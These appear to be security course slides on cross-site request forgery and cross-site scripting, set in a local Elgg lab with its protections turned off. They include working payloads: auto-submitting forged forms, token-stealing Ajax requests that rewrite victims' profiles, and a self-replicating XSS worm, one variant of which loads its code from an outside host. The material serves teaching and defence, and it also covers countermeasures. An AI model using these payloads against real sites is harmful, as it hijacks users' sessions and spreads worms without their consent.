


Cross Site Request Forgery (CSRF)

Outline

- Cross-Site Requests and Its Problems
- Cross-Site Request Forgery Attack
- CSRF Attacks on HTTP GET
- CSRF Attacks on HTTP POST
- Countermeasures

Cross-Site Requests and Its Problems



- When a page from a website sends an HTTP request back to the website, it is called same-site request.
- If a request is sent to a different website, it is called cross-site request because the where the page comes from and where the request goes are different.

Eg : A webpage (not Facebook) can include a Facebook link, so when users click on the link, HTTP request is sent to Facebook.

Cross-Site Requests and Its Problems

- When a request is sent to [example.com](#) from a page coming from example.com, the browser attaches all the cookies belonging to example.com.
- Now, when a request is sent to example.com from another site (different from example.com), the browser will attach the cookies too.
- Because of above behaviour of the browsers, the server cannot distinguish between the same-site and cross-site requests
- It is possible for [third-party websites to forge requests that are exactly the same as the same-site requests](#).
- This is called **Cross-Site Request Forgery (CSRF)**.

Cross-Site Request Forgery Attack

Environment Setup:

- Target website
- Victim user who has an active session on the target website
- Malicious website controlled

Steps:

- The attacker crafts a webpage that can forge a cross-site request to be sent to the targeted website.
- The attacker needs to attract the victim user to visit the malicious website.
- The victim is logged into the targeted website.

Environment Setup

- Elgg: open-source web application for social networking
- Countermeasures for CSRF is disabled by us in the VM
- Target website: <http://www.csrflabelgg.com>
- Attacker's website: <http://www.csrfattack.com>
- These websites are hosted on localhost via Apache's Virtual Hosting

```
<VirtualHost *:80>
    ServerName www.CSRFLabAttacker.com
    DocumentRoot /var/www/CSRF/Attacker
</VirtualHost>

<VirtualHost *:80>
    ServerName www.CSRFLabElgg.com
    DocumentRoot /var/www/CSRF/elgg
</VirtualHost>
```

CSRF Attacks on HTTP Get Services

- ❑ HTTP GET requests: data (foo and bar) are attached in the URL.

```
GET /post_form.php?foo=hello&bar=world HTTP/1.1 ← Data are attached here!  
Host: www.example.com  
Cookie: SID=xsdgfergbghedvrbeadv
```

- ❑ HTTP POST requests: data (foo and bar) are placed inside the data field of the HTTP request.

```
POST /post_form.php HTTP/1.1  
Host: www.example.com  
Cookie: SID=xsdgfergbghedvrbeadv  
Content-Length: 19  
foo=hello&bar=world ← Data are attached here!
```

CSRF Attack on GET Requests - Basic Idea

- Consider an online banking web application www.bank32.com which allows users to transfer money from their accounts to other people's accounts.
- A user is logged in into the web application and has a session cookie which uniquely identifies the authenticated user.
- HTTP request to transfer \$500 from his/her account to account 3220:
<http://www.bank32.com/transfer.php?to=3220&amount=500>
- In order to perform the attack, the attacker needs to send out the forged request from the victim's machine so that the browsers will attach the victim's session cookies with the requests.

CSRF Attack on GET Requests - Basic Idea

- The attacker can place the piece of code (to trigger request) in the form of Javascript code in the attacker's web page.
- HTML tags like `img` and `iframe` can trigger GET requests to the URL specified in `src` attribute. Response for this request will be an image/webpage.

```
  
  
<iframe  
  src="http://www.bank32.com/transfer.php?to=3220&amount=500">  
</iframe>
```

Attack on Elgg's Add-Friend Service

Goal : Add yourself to the victim's friend list without his/her consent.

Investigation taken by the attacker Samy:

- Creates an Elgg account using Charlie as the name.
- In Charlie's account, he clicks add-friend button to add himself to Charlie's friend list. Using FireFox LiveHTTPHeaders extension to capture the add-friend HTTP request.

Captured HTTP Header

```
http://www.csrflabelgg.com/action/friends/add?friend=42 ①
    &__elgg_ts=1489201544&__elgg_token=7c1763... ②

GET /action/friends/add?friend=42&__elgg_ts=1489201544
    &__elgg_token=7c1763deda696eee3122e68f315...
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,...
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.csrflabelgg.com/profile/samy
Cookie: Elgg=nskthij9ilai0ijkb2a0h00ml ③
Connection: keep-alive
```

Line ③ : Session cookie which is unique for each user. It is automatically sent by browsers.

Line ① : URL of Elgg's add-friend request. UserID of the user to be added to the friend list is used. Here, Samy's UserID (GUID) is 42.

Line ② : Elgg's countermeasure against CSRF attacks which are disabled.

Create the malicious web page

```
<html>
<body>
  <h1>This page forges an HTTP GET request.</h1>

  
</body>
</html>
```

2. The attacker use add-friend URL along with friend parameter. The size of the image is very small so that the victim is not suspicious.
3. The crafted web page is placed in the malicious website www.csrfabattacker.com (inside the /var/www/CSRF/Attacker folder).

1. The img tag will trigger an HTTP GET request. When browsers render a web page and sees an img tag, it sends an HTTP GET request to the URL specified in the src attribute.

Attract Victim to Visit Your Malicious Page

- Samy can send a private message to Alice with the link to the malicious web page.
- If Alice clicks the link, Samy's malicious web page will be loaded into Alice's browser and a forged add-friend request will be sent to the Elgg server.
- On success, Samy will be added to Alice's friend list.

CSRF Attacks on HTTP POST Services

Constructing a POST Request Using JavaScript

```
<form action="http://www.example.com/action_post.php" method="post">  
Recipient Account: <input type="text" name="to" value="3220"><br>  
Amount: <input type="text" name="amount" value="500"><br>  
<input type="submit" value="Submit">  
</form>
```

- POST requests can be generated using HTML forms. The above form has two text fields and a `Submit` button.
- When the user clicks on the `Submit` button, POST request will be sent out to the URL specified in the action field with *to* and *amount* fields included in the body.
- Attacker's job is to click on the button without the help from the user.

CSRF Attacks on HTTP POST Services

```
<script type="text/javascript">
function forge_post()
{
    var fields;
    fields += "<input type='hidden' name='to' value='3220'>";
    fields += "<input type='hidden' name='amount' value='500'>";

    var p = document.createElement("form");           ①
    p.action = "http://www.example.com/action_post.php";
    p.innerHTML = fields;
    p.method = "post";
    document.body.appendChild(p);                     ②
    p.submit();                                       ③
}

window.onload = function() { forge_post();}           ④
</script>
```

Line ④: The JavaScript function “forge_post()” will be invoked automatically once the page is loaded.

Line ①: Creates a form dynamically; request type is set to “POST”

Line ②: The fields in the form are “hidden”. Hence, after the form is constructed, it is added to the current web page.

Line ③: Submits the form automatically.

Attack on Elgg's Edit-Profile Service

Goal : Putting a statement "SAMY is MY HERO" in the victim's profile without the consent from the victim.

Investigation by the attacker Samy

- Samy captured an edit-profile request using LiveHTTPHeader extension.

Attack on Elgg's Edit-Profile Service

```
http://www.csrflabelgg.com/action/profile/edit ①

POST /action/profile/edit HTTP/1.1
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,application/xml; ...
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.csrflabelgg.com/profile/samy/edit
Cookie: Elgg=mpaspvnlq67odl1ki9rkklema4 ②
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 493
__elgg_token=1cc8b5c...&__elgg_ts=1489203659 ③
  &name=Samy
  &description=SAMY+is+MY+HERO ④
  &accesslevel%5Bdescription%5D=2 ⑤
  ... (many lines omitted) ...
  &guid=42 ⑥
```

Line ① : URL of the edit-profile service.

Line ②: Session cookie (unique for each user). It is automatically set by browsers.

Line ③: CSRF countermeasures, which are disabled

Attack on Elgg's Edit-Profile Service

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 493
__elgg_token=1cc8b5c...&__elgg_ts=1489203659    ③
  &name=Samy
  &description=SAMY+is+MY+HERO                    ④
  &accesslevel%5Bdescription%5D=2                ⑤
  ... (many lines omitted) ...
  &guid=42                                         ⑥
```

Line ④: Description field with text “SAMY is MY HERO” (In encoded form)

Line ⑤: Access level of each field : 2 means viewable by everyone

Line ⑥: User Id (GUID) of the victim. This can be obtained by visiting victim's profile page source, looking for the following:

```
Elgg.page_owner={"guid":39,"type":"user",...}
```

Craft the Malicious Web Page

```
<html><body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">
function forge_post()
{
    var fields;

    fields = "<input type='hidden' name='name' value='Alice'>";
    fields += "<input type='hidden' name='description'";
                                value='SAMY is MY HERO'>";
    fields += "<input type='hidden' name='accesslevel[description]'";
                                value='2'>";
    fields += "<input type='hidden' name='guid' value='39'>";

    var p = document.createElement("form");
    p.action = "http://www.csrflabelgg.com/action/profile/edit";
    p.innerHTML = fields;
    p.method = "post";
    document.body.appendChild(p);
    p.submit();
}

window.onload = function() { forge_post();}
</script>
</body>
</html>
```

- The JavaScript function creates a hidden form with the description entry as our text.
- When the victim visits this page, the form will be automatically submitted (POST request) from the victim's browser to the edit-profile service at ["http://www.csrflabelgg.com/action/profile/edit"](http://www.csrflabelgg.com/action/profile/edit) causing the message to be added to the victim's profile.

Fundamental Causes of CSRF

- The server cannot distinguish whether a request is cross-site or same-site
 - Same-site request: coming from the server's own page. **Trusted**.
 - Cross-site request: coming from other site's pages. **Not Trusted**.
 - We cannot treat these two types of requests the same.
- Does the browser know the difference?
 - Of course. The browser knows from which page a request is generated.
 - Can browser help?
- How to help server?
 - Referer header (browser's help)
 - Same-site cookie (browser's help)
 - Secret token (the server helps itself to defend against CSRF)

Countermeasures: Referrer Header

- HTTP header field identifying the address of the web page from where the request is generated.
- A server can check whether the request is originated from its own pages or not.
- This field reveals **part of browsing history** causing privacy concern and hence, this field is mostly removed from the header.
- The server cannot use this unreliable source.

Countermeasures: Same-Site Cookies

- A special cookie type in browsers like Chrome and Opera, which provide a special attribute to cookies called SameSite.
- This attribute is set by the servers and it tells the browsers whether a cookie should be attached to a cross-site request or not.
- Cookies with this attribute are always sent along with same-site requests, but whether they are sent along with cross-site depends on the value of this attribute.
- Values
 - Strict (Not sent along with cross-site requests)
 - Lax (Sent with cross-site requests if they are top level navigation)

Countermeasures: Secret Token

- The server **embeds a random secret value inside each web page.**
- When a request is initiated from this page, the secret value is included with the request.
- The server checks this value to see whether a request is cross-site or not.
- Pages from a different origin will not be able to access the secret value. This is guaranteed by browsers (the same origin policy)
- The secret is randomly generated and is different for different users. So, there is no way for attackers to guess or find out this secret.

Elgg's Countermeasure

- Uses secret-token approach : `_elgg_tc` and `_elgg_token`.
- The values are stored inside two JavaScript variables and also in all the forms where user action is required.

```
<input type = "hidden" name = "__elgg_ts" value = "..." />  
<input type = "hidden" name = "__elgg_token" value = "..." />
```

- The two hidden parameters are added to the form so that when the form is submitted via an HTTP request, these two values are included in the request.
- These two hidden values are generated by the server (`views/default/input/securitytoken.php`) and added as a hidden field in each page.

Elgg's Countermeasure

```
$ts = time();  
$token = generate_action_token($ts);  
  
echo elgg_view('input/hidden', array('name' => '__elgg_token',  
                                     'value' => $token));  
echo elgg_view('input/hidden', array('name' => '__elgg_ts',  
                                     'value' => $ts));
```

Code to dynamically
add the values to the
web page.

```
elgg.security.token.__elgg_ts;  
elgg.security.token.__elgg_token;
```

JavaScript variables
to access using
JavaScript code.

Elgg's security token is a MD5 digest of four pieces of information :

- Site secret value
- Timestamp
- User session ID
- Randomly generated session string

Elgg's Countermeasure

```
function generate_action_token($timestamp)
{
    $site_secret = get_site_secret();
    $session_id = session_id();
    // Session token
    $st = $_SESSION['__elgg_session'];

    if (($site_secret) && ($session_id))
    {
        return md5($site_secret . $timestamp . $session_id . $st);
    }
    return FALSE;
}
```

```
.....
// Generate a simple token (private from potentially
//   public session id)
if (!isset($_SESSION['__elgg_session'])) {
    $_SESSION['__elgg_session'] =
        ElggCrypto::getRandomString(32, ElggCrypto::CHARS_HEX);
    .....
}
```

Code to generate secret token and session string `_elgg_session`.

Elgg's Countermeasure

```
function validate_action_token($visibleerrors = TRUE, $token = NULL,
    $ts = NULL)
{
    if (!$token) { $token = get_input('__elgg_token'); }
    if (!$ts) { $ts = get_input('__elgg_ts'); }
    $session_id = session_id();
    if (($token) && ($ts) && ($session_id)) {
        // Regenerate token.
        $required_token = generate_action_token($ts); ← Regenerate the token.

        if ($token == $required_token) { ← Validate the token from the request.
            if (_elgg_validate_token_timestamp($ts)) {
                $returnval = true;
                .....
            }
            else {
                .....
                register_error(elgg_echo('actiongatekeeper:tokeninvalid'));
                .....
            }
        }
        .....
    }
}
```

- The Elgg server validates the generated token and timestamp to defend against CSRF attacks.
- Every user action calls `validate_action_token()` to validate the token.

Turn on Elgg's Countermeasure

Go to `elgg/engine/lib/actions.php` and find the function `action_gatekeeper()`. comment out the last statement of the function “`return true`”. This line was added to disable the countermeasure and let all the requests pass the check.

```
function action_gatekeeper($action) {  
  
    //SEED:Modified to enable CSRF.  
    //Comment out the following statement to enable countermeasure  
    return true;  
    .....
```

Summary


- Cross-site requests v.s. same-site requests.
- Why cross-site requests should be treated differently.
- How to conduct CSRF attack
- The fundamental cause of the CSRF vulnerability
- How to defend against CSRF attack

Cross-Site Scripting Attack (XSS)

Outline

- The Cross-Site Scripting attack
- Reflected XSS
- Persistent XSS
- Damage done by XSS attacks
- XSS attacks to befriend with others
- XSS attacks to change other people's profiles
- Self-propagation
- Countermeasures

The Cross-Site Scripting Attack




- In XSS, an attacker injects his/her malicious code to the victim's browser via the target website.
- When code comes from a website, it is considered as trusted with respect to the website, so it can access and change the content on the pages, read cookies belonging to the website and sending out requests on behalf of the user.
- Basically, code can do whatever the user can do inside the session.

Types of XSS Attacks

- Non-persistent (Reflected) XSS Attack
- Persistent (Stored) XSS Attack

Non-persistent (Reflected) XSS Attack




If a website with a reflective behavior takes user inputs, then :

- Attackers can put JavaScript code in the input, so when the input is reflected back, the JavaScript code will be injected into the web page from the website.

Non-persistent (Reflected) XSS Attack

- Assume a vulnerable service on website :
<http://www.example.com/search?input=word>, where word is provided by the users.
- Now the attacker sends the following URL to the victim and tricks him to click the link:
[http://www.example.com/search?input=<script>alert\("attack"\);</script>](http://www.example.com/search?input=<script>alert("attack");</script>)
- Once the victim clicks on this link, an HTTP GET request will be sent to the www.example.com web server, which returns a page containing the search result, with the original input in the page. The input here is a JavaScript code which runs and gives a pop-up message on the victim's browser.

Persistent (Stored) XSS Attack



- Attackers directly send their data to a target website/server which stores the data in a persistent storage.
 - If the website later sends the stored data to other users, it creates a channel between the users and the attackers.
- Example : User profile in a social network is a channel as it is set by one user and viewed by another.

Persistent (Stored) XSS Attack

- These channels are supposed to be **data** channels.
- But data provided by users can contain HTML markups and JavaScript code.
- If the input is not sanitized properly by the website, it is sent to other users' browsers through the channel and gets executed by the browsers.
- Browsers consider it like any other code coming from the website. Therefore, the code is given the same privileges as that from the website.

Damage Caused by XSS

Web defacing: JavaScript code can use DOM APIs to access the DOM nodes inside the hosting page. Therefore, the injected JavaScript code can make arbitrary changes to the page. Example: JavaScript code can change a news article page to something fake or change some pictures on the page.

Spoofing requests: The injected JavaScript code can send HTTP requests to the server on behalf of the user.

Stealing information: The injected JavaScript code can also steal victim's private data including the session cookies, personal data displayed on the web page, data stored locally by the web application.

Environment Setup

- Elgg: open-source web application for social networking with disabled countermeasures for XSS.
- Elgg website : <http://www.xsslabelgg.com>
- The website is hosted on localhost via Apache's Virtual Hosting

```
<VirtualHost *:80>  
    ServerName www.XSSLabElgg.com  
    DocumentRoot /var/www/XSS/elgg  
</VirtualHost>
```

Attack Surfaces for XSS attack

- To launch an attack, we need to find places where we can inject JavaScript code.
- These input fields are potential attack surfaces wherein attackers can put JavaScript code.
- If the web application doesn't remove the code, the code can be triggered on the browser and cause damage.
- In our task, we will insert our code in the "Brief Description" field, so that when Alice views Samy's profile, the code gets executed with a simple message.

XSS Attacks to Befriend with Others

Goal: Add Samy to other people's friend list without their consent.

Investigation taken by attacker Samy:

- Samy clicks “add-friend” button from Charlie’s account (discussed in CSRF) to add himself to Charlie’s friend list.
- Using Firefox’s LiveHTTPHeader extension, he captures the add-friend request.

XSS Attacks to Befriend with Others

```
http://www.xsslabelgg.com/action/friends/add?friend=42 ①
    &__elgg_ts=1489201544&__elgg_token=7c1763... ②

GET /action/friends/add?friend=42&__elgg_ts=1489201544
    &__elgg_token=7c1763deda696eee3122e68f315...
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,...
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/samy
Cookie: Elgg=nskthij9ilai0ijkbf2a0h00m1 ③
Connection: keep-alive
```

Line ③: Session cookie which is unique for each user. It is automatically sent by browsers. Here, if the attacker wants to access the cookies, it will be allowed as the JavaScript code is from Elgg website and not a third-party page like in CSRF.

Line ①: URL of Elgg's add-friend request. UserID of the user to be added to the friend list is used. Here, Samy's UserID (GUID) is 42.

Line ②: Elgg's countermeasure against CSRF attacks (this is now enabled).

XSS Attacks to Befriend with Others

The main challenge is in the Line ②, to find the values of CSRF countermeasures parameters : `_elgg_ts` and `_elgg_token`.

```
<script type="text/javascript">
...
elgg.config.lastcache = 1416251895;
elgg.config.viewtype = 'default';
elgg.config.simplecache_enabled = 1;

elgg.security.token.__elgg_ts = 1426685430;           ①
elgg.security.token.__elgg_token = '8bac...2be';      ②

elgg.page_owner = {"guid":39,"type":"user",...};
elgg.session.user = new elgg.ElggUser({"guid":39, ...,
                                         "name":"Alice", ...});
...
</script>
```

Line ① and ②: The secret values are assigned to two JavaScript variables, which make our attack easier as we can load the values from these variables.

Our JavaScript code is injected inside the page, so it can access the JavaScript variables inside the page.

Construct an Add-friend Request

```
<script id="worm" type="text/javascript">
// Set the timestamp and secret token parameters
var ts      = "&__elgg_ts="+elgg.security.token.__elgg_ts;           ①
var token = "&__elgg_token="+elgg.security.token.__elgg_token;      ②

// Construct the URL (Samy's GUID is 42)
var sendurl="http://www.xsslabelgg.com/action/friends/add"          ③
            + "?friend=42" + token + ts;                             ④


// Create and send the Ajax request
var Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
                      "application/x-www-form-urlencoded");
Ajax.send();
</script>
```

Line ① and ②: Get timestamp and secret token from the JavaScript variables.

Line ③ and ④: Construct the URL with the data attached.

The rest of the code is to create a GET request using Ajax.

Inject the Code Into a Profile



XSS Lab Site

Activity Blogs Bookmarks Files Groups ▾ More

Edit profile

My display name

Samy

About me [Add editor](#)

```
<script id="worm" type="text/javascript">

var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
var token = "&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add" + "?friend=42" + token + ts;
var Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();

</script>
```

- Samy puts the script in the “About Me” section of his profile.
- After that, let’s login as “Alice” and visit Samy’s profile.
- JavaScript code will be run and not displayed to Alice.
- The code sends an add-friend request to the server.
- If we check Alice’s friends list, Samy is added.

XSS Attacks to Change Other People's Profiles

Goal: Putting a statement "SAMY is MY HERO" in other people's profile without their consent.

Investigation taken by attacker Samy :

- Samy captured an edit-profile request using LiveHTTPHeader.

Captured HTTP Request

```
http://www.xsslabelgg.com/action/profile/edit ①
POST /action/profile/edit HTTP/1.1
Host: www.xsslabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,application/xml; ...
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/samy/edit
Cookie: Elgg=mpaspvnlq67odl1ki9rkklema4 ②
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 493
__elgg_token=1cc8b5c...&__elgg_ts=1489203659 ③
    &name=Samy
    &description=SAMY+is+MY+HERO ④
    &accesslevel%5Bdescription%5D=2 ⑤
    ... (many lines omitted) ...
    &guid=42 ⑥
```

Line ①: URL of the edit-profile service.

Line ②: Session cookie (unique for each user). It is automatically set by browsers.

Line ③: CSRF countermeasures, which are now enabled.

Captured HTTP Request (continued)

```
&name=Samy  
&description=SAMY+is+MY+HERO ④  
&accesslevel%5Bdescription%5D=2 ⑤  
... (many lines omitted) ...  
&guid=42 ⑥
```

- Line ④: Description field with our text “SAMY is MY HERO” (In encoded form)
- Line ⑤: Access level of each field: 2 means the field is viewable to everyone.
- Line ⑥: User ID (GUID) of the victim. This can be obtained by visiting victim’s profile page source. In XSS, as this value can be obtained from the page. As we don’t want to limit our attack to one victim, we can just add the GUID from JavaScript variable called `elgg.session.user.guid`.

Construct the Malicious Ajax Request

```
// Access user name and guid
var name = "&name=" + elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;

// Access timestamp and security token
var ts     = "&__elgg_ts="+elgg.security.token.__elgg_ts;
var token  = "&__elgg_token="+elgg.security.token.__elgg_token;

// Set the content and access level for the description field
var desc = "&description=SAMY+is+MY+HERO";
desc += "&accesslevel%5Bdescription%5d=2";

// Set the URL
var sendurl="http://www.xsslabelgg.com/action/profile/edit";
```

Construct the Malicious Ajax Request

```
// Construct and send the Ajax request
if(elgg.session.user.guid != 42) ①
{
    //Create and send Ajax request to modify profile
    var Ajax=new XMLHttpRequest();
    Ajax.open("POST", sendurl, true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type",
        "application/x-www-form-urlencoded");

    // Send the POST request with the data
    Ajax.send(token + ts + name + desc + guid);
}
```

To ensure that it does not modify Samy's own profile or it will overwrite the malicious content in Samy's profile.

Inject the into Attacker's Profile

- Samy can place the malicious code into his profile and then wait for others to visit his profile page.
- Login to Alice's account and view Samy's profile. As soon as Samy's profile is loaded, malicious code will get executed.
- On checking Alice profile, we can see that "SAMY IS MY HERO" is added to the "About me" field of her profile.

Self-Propagation XSS Worm


Using Samy's worm, not only will the visitors of Samy's profile be modified, their profiles can also be made to carry a copy of Samy's JavaScript code. So, when an infected profile was viewed by others, the code can further spread.

Challenges: How can JavaScript code produce a copy of itself?

Two typical approaches:

- DOM approach: JavaScript code can get a copy of itself directly from DOM via DOM APIs
- Link approach: JavaScript code can be included in a web page via a link using the src attribute of the script tag.

Self-Propagation XSS Worm



Self-Propagation XSS Worm

Document Object Model (DOM) Approach :

- DOM organizes the contents of the page into a tree of objects (DOM nodes).
- Using DOM APIs, we can access each node on the tree.
- If a page contains JavaScript code, it will be stored as an object in the tree.
- So, if we know the DOM node that contains the code, we can use DOM APIs to get the code from the node.
- Every JavaScript node can be given a name and then use the `document.getElementById()` API to find the node.

Self-Propagation XSS Worm

```
<script id="worm">

// Use DOM API to get a copy of the content in a DOM node.
var strCode = document.getElementById("worm").innerHTML;

// Displays the tag content
alert(strCode);

</script>
```

- Use “`document.getElementById(“worm”)`” to get the reference of the node
- `innerHTML` gives the inside part of the node, not including the script tag.
- So, in our attack code, we can put the message in the description field along with a copy of the entire code.

Self-Propagation XSS Worm

```
<script id="worm" type="text/javascript">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ①
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</\" + \"script>"; ②

// Put all the pieces together, and apply the URI encoding
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ③

// Set the content of the description field and access level.
var desc = "&description=SAMY+is+MY+HERO" + wormCode;
desc += "&accesslevel%5Bdescription%5d=2"; ④

// Get the name, guid, timestamp, and token.
var name = "&name=" + elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
```

Line ① and ②: Construct a copy of the worm code, including the script tags.

Line ②: We split the string into two parts and use “+” to concatenate them together. If we directly put the entire string, Firefox’s HTML parser will consider the string as a closing tag of the script block and the rest of the code will be ignored.

Self-Propagation XSS Worm

Line ③: In HTTP POST requests, data is sent with Content-Type as “application/x-www-form-urlencoded”. We use encodeURIComponent() function to encode the string.

Line ④: Access level of each field: 2 means public.

After Samy places this self-propagating code in his profile, when Alice visits Samy’s profile, the worm gets executed and modifies Alice’s profile, inside which, a copy of the worm code is also placed. So, any user visiting Alice’s profile will too get infected in the same way.

Self-Propagation XSS Worm: The Link Approach

```
<script type="text/javascript"
      src="http://www.example.com/xssworm.js">
</script>
```

```
var wormCode = encodeURIComponent(
    "<script type=\"text/javascript\" "
    + "src=\"http://www.example.com/xssWorm.js\">";
    + "</\" + "script>");

// Set the content for the description field
var desc="&description=SAMY+is+MY+HERO" + wormCode;
desc += "&accesslevel%5Bdescription%5d=2";

(the rest of the code is the same as that in the previous approach)
...
```

- The JavaScript code xssworm.js will be fetched from the URL.
- Hence, we do not need to include all the worm code in the profile.
- Inside the code, we need to achieve damage and self-propagation.

Countermeasures: the Filter Approach

- Removes code from user inputs.
- It is difficult to implement as there are many ways to embed code other than `<script>` tag.
- Use of open-source libraries that can filter out JavaScript code.
- Example : jsoup

Countermeasures: The Encoding Approach

- Replaces HTML markups with alternate representations.
- If data containing JavaScript code is encoded before being sent to the browsers, the embedded JavaScript code will be displayed by browsers, not executed by them.
- Converts `<script> alert('XSS') </script>` to `<script>alert('XSS')`

Summary

- Two types of XSS attacks
- How to launch XSS attacks
- Create a self-propagating XSS worm
- Countermeasures against XSS attacks